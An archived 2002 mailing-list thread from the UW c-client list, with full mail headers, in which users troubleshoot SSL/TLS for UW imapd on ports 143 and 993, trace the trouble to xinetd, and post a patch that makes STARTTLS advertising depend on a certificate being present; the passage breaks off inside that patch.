user=??? host=UNKNOWN for imapd), or time out. When I manually telnet localhost 993 and say * starttls I get * OK The question is, perhaps I should generate the certificate in some special way -- does it matter what you enter there? I tried to make Common Name equal the server's machine FQDN, or localhost if I connect so, but to no avail. Any other things to try to make SSL work?... With any client? Cheers, Alexy On Tue, Aug 13, 2002 at 11:07:20AM +0200, Sebastian Hagedorn wrote: > --On Monday, August 12, 2002 21:07:13 -0400 braver@pobox.com wrote: > > > Here's what I'm getting, after building everything as described in > > SSLBUILD, and the latest fetchmail, and all with the latest OpenSSL: > > > > # fetchmail --ssl --sslproto tls1 -p imap -u alexy localhost > > Enter password for alexy@localhost: > > 6063:error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version > > number:s3_pkt.c:279: fetchmail: SSL connection failed. > > This reminds me of a problem I once had with Mulberry. fetchmail seems to > use SSLv23_client_method over TLS. It should use TLSv1_client_method. You > write > > > Now, when I'm forcing --ssl2, the thing just waits forever. Without > > --sslproto, we get: > > > > # fetchmail --ssl -p imap -u alexy localhost > > Enter password for alexy@localhost: > > 6102:error:140770FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown > > protocol:s23_clnt.c:460: fetchmail: SSL connection failed. > > Sounds to me like the *right* way to call it would be: > > # fetchmail --ssl --sslproto ssl3 -p imap -u alexy localhost > > But that's just a guess, I'm no expert ... > -- > Sebastian Hagedorn > Ehrenfeldgürtel 156 > 50823 Köln > http://www.spinfo.uni-koeln.de/~hgd/ > > Being just contaminates the void - Robyn Hitchcock -- Cheers, Alexy V. Khrabrov :: www.setup.org :: Age Quod Agis -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Aug 14 12:16:28 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Aug 2002 12:16:28 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7EJGR2P021828 for ; Wed, 14 Aug 2002 12:16:27 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Aug 14 12:16:26 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7EJGNEN010317 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 14 Aug 2002 12:16:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7EJFnR8015144; Wed, 14 Aug 2002 12:15:50 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7EJCQeY068782 for ; Wed, 14 Aug 2002 12:12:26 -0700 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Aug 14 12:12:25 2002 -0700 Received: from angle.badbox.com (bgp542844bgs.ewndsr01.nj.comcast.net [68.38.146.249]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7EJCOR8018105 for ; Wed, 14 Aug 2002 12:12:24 -0700 Received: (from alexy@localhost) by angle.badbox.com (8.12.5/8.12.5) id g7EJCOtU016050; Wed, 14 Aug 2002 15:12:24 -0400 Message-Id: <200208141912.g7EJCOtU016050@angle.badbox.com> Date: Wed, 14 Aug 2002 15:12:24 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: braver@pobox.com To: c-client@u.washington.edu Subject: success with TLS and mutt on imap, not imaps! X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN OK, here's what's going on: whenever I specified imaps, or port 993, clients tried to establish immediate SSL connection to it and failed. When I instructed mutt to keep the mailbox at the regular insecure imap://localhost/INBOX, and set ssl_starttls=ask-yes, it detects that imapd advertises TLS and asks whether I want it. Do people run imaps on port 993 with UW imapd and able to get TLS connection somehow? Looks like clients believe they're in a tunnel right away, seems that's whence those weird protocol errors from fetchmail (which doen't seem to do --sslproto tls1 as it reports SSL3 error anyways)... Cheers, Alexy -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Aug 14 14:00:23 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Aug 2002 14:00:23 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7EL0M2P025777 for ; Wed, 14 Aug 2002 14:00:22 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Aug 14 14:00:21 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7EL0K07019901 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 14 Aug 2002 14:00:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7EKxqR8020922; Wed, 14 Aug 2002 13:59:52 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7EKrReY033848 for ; Wed, 14 Aug 2002 13:53:27 -0700 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Wed Aug 14 13:53:26 2002 -0700 Received: from angle.badbox.com (bgp542844bgs.ewndsr01.nj.comcast.net [68.38.146.249]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7EKrOJX016730 for ; Wed, 14 Aug 2002 13:53:26 -0700 Received: (from alexy@localhost) by angle.badbox.com (8.12.5/8.12.5) id g7EKrOUF023159; Wed, 14 Aug 2002 16:53:24 -0400 Message-Id: <200208142053.g7EKrOUF023159@angle.badbox.com> Date: Wed, 14 Aug 2002 16:53:24 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: braver@pobox.com (Alexy Khrabrov) To: c-client@u.washington.edu Subject: ports 143 and 993 should have the same imapd setup?! X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Quoting Steve Barber, On Wed, Aug 14, 2002 at 03:12:24PM -0400, braver@pobox.com wrote: > > OK, here's what's going on: whenever I specified > imaps, or port 993, clients tried to establish > immediate SSL connection to it and failed. When I > instructed mutt to keep the mailbox at the regular > insecure imap://localhost/INBOX, and > set ssl_starttls=ask-yes, it detects that imapd > advertises TLS and asks whether I want it. > > Do people run imaps on port 993 with UW imapd and > able to get TLS connection somehow? Looks like > clients believe they're in a tunnel right away, > seems that's whence those weird protocol errors > from fetchmail (which doen't seem to do --sslproto > tls1 as it reports SSL3 error anyways)... Yes, port 993 is just IMAP tunnelled through SSL. That's what you should be seeing. I'm not sure why you're seeing any plain text on there at all. To test, you can use something like openssl s_client -connect mailhub:993 It should show you the certificates and then show you the IMAP connect banner. You shouldn't see much of anything using plain telnet to port 993. Steve -- Well, UW c-client docs/SSLBUILD explicitly says to install one and the same imapd, without any tunneling, on port 993 as on 143. This is misleading and should be corrected. Because what happens is, you get the same plain text imap start there. The new Pine 4.44, which I just built, understands a mailbox specification /tls such as inbox-path={localhost:993/tls/novalidate-cert}INBOX and as it's TLS, it starts in text mode and switches to TLS at once. There's no difference in this behavior of Pine on port 993 with Mutt on port 143 with the latter's ssl_use_tlsv1 only set and ssl_use_sslv2/3 unset. However, Mutt doesn't expect such a thing as a TLS imapd waiting in 993 and tries tunneling right away, as does Netscape and other clients, notably fetchmail --ssl --sslproto tls1. So either everybody ain't getting it and must catch up with Pine, making ports 143 and 993 essentially the same for TLS, or c-client docs/SSLBUILD must not instruct to install imapd in exactly the same way on both ports. What is the imap protocol wisemen opinion? Mark? Cheers, Alexy -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Aug 14 15:01:25 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Aug 2002 15:01:25 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7EM1P2P028345 for ; Wed, 14 Aug 2002 15:01:25 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Aug 14 15:01:24 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7EM1GEN015823 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 14 Aug 2002 15:01:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7EM0TR8006120; Wed, 14 Aug 2002 15:00:30 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7ELvkeY087878 for ; Wed, 14 Aug 2002 14:57:46 -0700 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Wed Aug 14 14:57:45 2002 -0700 Received: from angle.badbox.com (bgp542844bgs.ewndsr01.nj.comcast.net [68.38.146.249]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7ELvibq004917 for ; Wed, 14 Aug 2002 14:57:45 -0700 Received: (from alexy@localhost) by angle.badbox.com (8.12.5/8.12.5) id g7ELvHMm023569; Wed, 14 Aug 2002 17:57:17 -0400 Message-Id: <200208142157.g7ELvHMm023569@angle.badbox.com> Date: Wed, 14 Aug 2002 17:57:17 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: braver@pobox.com (Alexy Khrabrov) To: c-client@u.washington.edu Cc: djb@cr.yp.to Subject: OK, port 993 is OK -- but not with xinetd... X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN OK, seems I've finally found the problem why ports 143 and 993 were behaving the same for me, so I could telnet to 993 and get text capabilities and such, just like on 143. I was running under xinetd. Mind you, I don't see any tcp-wrappers hookups there, that's the default SuSE xinetd. Instead of that, I downloaded DJB's tcpserver from http://cr.yp.to/, and run two daemons on appropriate ports. Under tcpserver, everything is fine -- telnetting to 993 shows nothing, fetchmail --ssl works like a charm, etc. Even PHP works with port 993/imap/ssl/novalidate-cert. Eureka! Except, tcpserver computes paths relative to the executable, so I had to make a symlink in /usr/local/ssl->/usr, and place imapd.pem into /usr/local/sbin. Convoluted, but works... Mark: please make a note in the docs about xinetd, it took me a few days and a couple of maillists to get it right. Thanks to Steve Barber, not getting any text on 993 was a cluebat. Cheers, Alexy -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Aug 14 16:08:48 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Aug 2002 16:08:48 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7EN8m2P031459 for ; Wed, 14 Aug 2002 16:08:48 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Aug 14 16:08:46 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7EN8hEN018085 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 14 Aug 2002 16:08:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7EN8AlZ014990; Wed, 14 Aug 2002 16:08:10 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7EN5peY049560 for ; Wed, 14 Aug 2002 16:05:52 -0700 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Aug 14 16:05:50 2002 -0700 Received: from angle.badbox.com (bgp542844bgs.ewndsr01.nj.comcast.net [68.38.146.249]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7EN5nR8000522 for ; Wed, 14 Aug 2002 16:05:49 -0700 Received: (from alexy@localhost) by angle.badbox.com (8.12.5/8.12.5) id g7EN5m6k024948; Wed, 14 Aug 2002 19:05:48 -0400 Message-Id: <200208142305.g7EN5m6k024948@angle.badbox.com> Date: Wed, 14 Aug 2002 19:05:48 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: braver@pobox.com (Alexy Khrabrov) To: c-client@u.washington.edu Subject: separate imapdnossl and imapd X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN And finally, in order to make PHP 4.3.0-dev imap_open() work with port="143", I had to build a separate imapd without SSL (SSLTYPE=none). Otherwise, it refused to work until I removed the SSL certificate. In fact, the certificate's name prefix should match the executable's name, so I could just use a symlink to an imapd _with_ SSL but under _another_ name! The only crucial detail is, the "imapdnossl" link should point to an imap which _does allow_ plain text password. Since I built imapd-slx-nopwd for my imaps, I need another executable for imapdnossl. For instance, I could use either imapd-slx-nossl _or_ imapd-slx-unix (names reflect options of platform-SSLTYPE to c-client's make) as the target for my imapdnossl link, as long as I _don't_ have /usr/local/ssl/certs/imapdnossl.pem! And finally, you can run DJB's tcpserver without any path fixes, _given_ you cd to the imapd's executable directory and start it from there, e.g. cd /usr/local/sbin tcpserver 0 993 imapd & tcpserver 127.0.0.1 143 imapdnossl & (My imapd is a symlink to imapd-slx-nopwd). Now everybody can connect to the secure process, and only local users can connect to the insecure one. E.g., PHP is a bit faster on the plain imap. Well, I just did this investigation for fun, as I heed the recommendation to use ssh tunnel with fetchmail or others and invoke imapd directly in a plugin instead of SSL. But I learned a lot about SSL/TLS on the way! Cheers, Alexy -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 15 00:38:04 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 15 Aug 2002 00:38:04 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7F7c42P011479 for ; Thu, 15 Aug 2002 00:38:04 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Thu Aug 15 00:38:03 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7F7bx07004640 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 15 Aug 2002 00:37:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7F7b5eo080084; Thu, 15 Aug 2002 00:37:05 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7F7XfeY088024 for ; Thu, 15 Aug 2002 00:33:42 -0700 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Aug 15 00:33:40 2002 -0700 Received: from mail1.rrz.Uni-Koeln.DE (mail1.rrz.Uni-Koeln.DE [134.95.100.208]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7F7XcR9003569 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Thu, 15 Aug 2002 00:33:40 -0700 Received: from mail1.rrz.Uni-Koeln.DE (mail1.rrz.Uni-Koeln.DE [134.95.100.208]) (authenticated as user a0620 bits=0) by mail1.rrz.Uni-Koeln.DE (8.12.3/8.12.2) with ESMTP id g7F7XZvO012060 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Thu, 15 Aug 2002 09:33:35 +0200 (MEST) Message-Id: <950000.1029396807@mail1.rrz.Uni-Koeln.DE> Date: Thu, 15 Aug 2002 09:33:27 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Alexy Khrabrov Cc: c-client@u.washington.edu Subject: Re: OK, port 993 is OK -- but not with xinetd... In-Reply-To: <200208142157.g7ELvHMm023569@angle.badbox.com> References: <200208142157.g7ELvHMm023569@angle.badbox.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="==========04016839==========" X-Virus-Scanned: by amavisd-milter (http://amavis.org/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --==========04016839========== Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline --On Wednesday, August 14, 2002 17:57:17 -0400 Alexy Khrabrov=20 wrote: > Mark: please make a note in the docs about xinetd, > it took me a few days and a couple of maillists to > get it right. While it may not be the specific information you mean there's already=20 something in the FAQ for 2002.RC2, also available here: http://www.washington.edu/imap/IMAP-FAQs/index.html Did you read that? Greetings, Sebastian -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ Being just contaminates the void - Robyn Hitchcock --==========04016839========== Content-Type: application/pgp-signature Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (SunOS) Comment: For info see http://www.gnupg.org iD8DBQE9W1lOGXsGmU0QW0URAovqAKCKpSVz2kR9WUJXsBtgUbAzZP7CRACg8yPr E8tfB0/OwPTbmHTd9R2nVhI= =wQhP -----END PGP SIGNATURE----- --==========04016839==========-- From pinedev@shivax2.cac.washington.edu Thu Aug 15 06:24:02 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 15 Aug 2002 06:24:02 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7FDO22P020243 for ; Thu, 15 Aug 2002 06:24:02 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Thu Aug 15 06:24:01 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7FDO0EN004486 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 15 Aug 2002 06:24:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7FDNeeo080006; Thu, 15 Aug 2002 06:23:40 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7FDKmeY093536 for ; Thu, 15 Aug 2002 06:20:48 -0700 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Thu Aug 15 06:20:47 2002 -0700 Received: from angle.badbox.com (bgp542844bgs.ewndsr01.nj.comcast.net [68.38.146.249]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7FDKjs8023040 for ; Thu, 15 Aug 2002 06:20:46 -0700 Received: (from alexy@localhost) by angle.badbox.com (8.12.5/8.12.5) id g7FDKjE4028110; Thu, 15 Aug 2002 09:20:45 -0400 Message-Id: <200208151320.g7FDKjE4028110@angle.badbox.com> Date: Thu, 15 Aug 2002 09:20:45 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: braver@pobox.com To: c-client@u.washington.edu Subject: xinetd in the FAQs MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Not only that, I downloaded the complete c-client_archive.mbox and searched it for SSL/TLS. Where exactly do you point to in those FAQs? My identd is shut down for good... Cheers, Alexy Quoting Sebastian Hagedorn, > --On Wednesday, August 14, 2002 17:57:17 -0400 Alexy Khrabrov > wrote: > > > Mark: please make a note in the docs about xinetd, > > it took me a few days and a couple of maillists to > > get it right. > > While it may not be the specific information you mean there's already > something in the FAQ for 2002.RC2, also available here: > > http://www.washington.edu/imap/IMAP-FAQs/index.html > > Did you read that? > > Greetings, Sebastian > -- > Sebastian Hagedorn > Ehrenfeldgürtel 156 > 50823 Köln > http://www.spinfo.uni-koeln.de/~hgd/ > > Being just contaminates the void - Robyn Hitchcock BTW, your sig is tres triste -- lighten up, man! :-) It's gonna be allright! -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 15 14:29:44 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 15 Aug 2002 14:29:44 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7FLTh2P006517 for ; Thu, 15 Aug 2002 14:29:43 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Aug 15 14:29:43 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7FLTcEN020183 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 15 Aug 2002 14:29:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7FLTAqt029474; Thu, 15 Aug 2002 14:29:11 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7FLQ4eY043002 for ; Thu, 15 Aug 2002 14:26:04 -0700 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Aug 15 14:26:03 2002 -0700 Received: from gateway.zk3.dec.com (nashua.zk3-x.dec.com [206.152.163.42]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7FLQ2JX009292 for ; Thu, 15 Aug 2002 14:26:02 -0700 Received: by gateway.zk3.dec.com; (5.65v4.0/1.3/10May95) id AA28663; Thu, 15 Aug 2002 17:26:01 -0400 Received: from hickory by islet.zk3.dec.com (8.12.3/1.1.2.11/22Jul02-0533PM) id g7FLPlcO348116; Thu, 15 Aug 2002 17:25:48 -0400 (EDT) Message-Id: <006401c244a2$746fa620$57008d10@zk3.dec.com> Date: Thu, 15 Aug 2002 17:26:43 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Peter Derr" To: Subject: Re: certificate checking in ssl_start_tls() References: <00c601c23195$4196df90$57008d10@zk3.dec.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0061_01C24480.ECC21440" X-Priority: 3 X-Msmail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0061_01C24480.ECC21440 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit In my message of July 22 I said: > In imap-2002.RC1, in src/imapd/imapd.c this code at line 3169 is used to > decide whether to advertise STARTTLS capability: > > if (s = ssl_start_tls (NIL)) fs_give ((void *) &s); > else PSOUT (" STARTTLS"); > > > But, in src/osdep/unix/ssl_unix.c the ssl_start_tls() function doesn't check > whether the certificate exists if passed a null pointer as the server > parameter. > The result is that, if built with SSL capability, the imapd server > advertises STARTTLS even when there's no certificate. And then I proposed a fix, but my fix had the unfortunate side effect of causing all TLS connections to fail because the static variable 'start_tls' in src/osdep/unix/ssl_unix.c was set prematurely. A better solution to this problem requires small modifications to both src/osdep/unix/ssl_unix.c and src/imapd/imapd.c. My context diffs against 2002.RC2 are in the attached text file. I've tested this with Pine and MS OE 6 with and without TLS and with and without SSL. Comments?? Peter Derr HP Tru64 UNIX Engineering ------=_NextPart_000_0061_01C24480.ECC21440 Content-Type: text/plain; name="diff.txt" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="diff.txt" *** src/osdep/unix/ssl_unix.c Tue Jul 16 16:48:40 2002=0A= --- path-to-my-changes/src/osdep/unix/ssl_unix.c Thu Aug 15 16:56:31 2002=0A= ***************=0A= *** 547,552 ****=0A= --- 547,570 ----=0A= return tcp_localhost (stream->tcpstream);=0A= }=0A= =0C=0A= + /* Check existence of certificate file=0A= + * Accepts: /etc/services service name=0A= + * Returns: 1 if file exists, else 0=0A= + */=0A= + =0A= + int ssl_check_cert (char *server)=0A= + {=0A= + char tmp[MAILTMPLEN];=0A= + struct stat sbuf;=0A= + =0A= + sprintf (tmp,"%s/%s-%s.pem",SSL_CERT_DIRECTORY,server,tcp_serveraddr = ());=0A= + if (stat (tmp,&sbuf)) { /* use non-specific name if no specific file = */=0A= + sprintf (tmp,"%s/%s.pem",SSL_CERT_DIRECTORY,server);=0A= + if (stat (tmp,&sbuf)) return 0; /* failure */=0A= + }=0A= + return 1; /* success */=0A= + }=0A= + =0C=0A= /* Start TLS=0A= * Accepts: /etc/services service name=0A= * Returns: cpystr'd error string if TLS failed, else NIL for success=0A= ***************=0A= *** 554,569 ****=0A= =0A= char *ssl_start_tls (char *server)=0A= {=0A= - char tmp[MAILTMPLEN];=0A= - struct stat sbuf;=0A= if (sslstdio) return cpystr ("Already in an SSL session");=0A= if (start_tls) return cpystr ("TLS already started");=0A= if (server) { /* build specific certificate/key file name */=0A= ! sprintf = (tmp,"%s/%s-%s.pem",SSL_CERT_DIRECTORY,server,tcp_serveraddr ());=0A= ! if (stat (tmp,&sbuf)) { /* use non-specific name if no specific = file */=0A= ! sprintf (tmp,"%s/%s.pem",SSL_CERT_DIRECTORY,server);=0A= ! if (stat (tmp,&sbuf)) return cpystr ("Server certificate not = installed");=0A= ! }=0A= start_tls =3D server; /* switch to STARTTLS mode */=0A= }=0A= return NIL;=0A= --- 572,581 ----=0A= =0A= char *ssl_start_tls (char *server)=0A= {=0A= if (sslstdio) return cpystr ("Already in an SSL session");=0A= if (start_tls) return cpystr ("TLS already started");=0A= if (server) { /* build specific certificate/key file name */=0A= ! if (!ssl_check_cert(server)) return cpystr ("Server certificate = not installed");=0A= start_tls =3D server; /* switch to STARTTLS mode */=0A= }=0A= return NIL;=0A= *** src/imapd/imapd.c Wed Jun 5 22:10:20 2002=0A= --- path-to-my-changes/src/imapd/imapd.c Thu Aug 15 16:56:30 2002=0A= ***************=0A= *** 3166,3173 ****=0A= }=0A= if (flag <=3D 0) { /* want pre-authentication capabilities? */=0A= PSOUT (" LOGIN-REFERRALS");=0A= ! if (s =3D ssl_start_tls (NIL)) fs_give ((void *) &s);=0A= ! else PSOUT (" STARTTLS");=0A= /* disable plaintext */=0A= if (mail_parameters (NIL,GET_DISABLEPLAINTEXT,NIL)) {=0A= PSOUT (" LOGINDISABLED");=0A= --- 3166,3175 ----=0A= }=0A= if (flag <=3D 0) { /* want pre-authentication capabilities? */=0A= PSOUT (" LOGIN-REFERRALS");=0A= ! if (ssl_check_cert("imapd")) {=0A= ! if (s =3D ssl_start_tls (NIL)) fs_give ((void *) &s);=0A= ! else PSOUT (" STARTTLS");=0A= ! }=0A= /* disable plaintext */=0A= if (mail_parameters 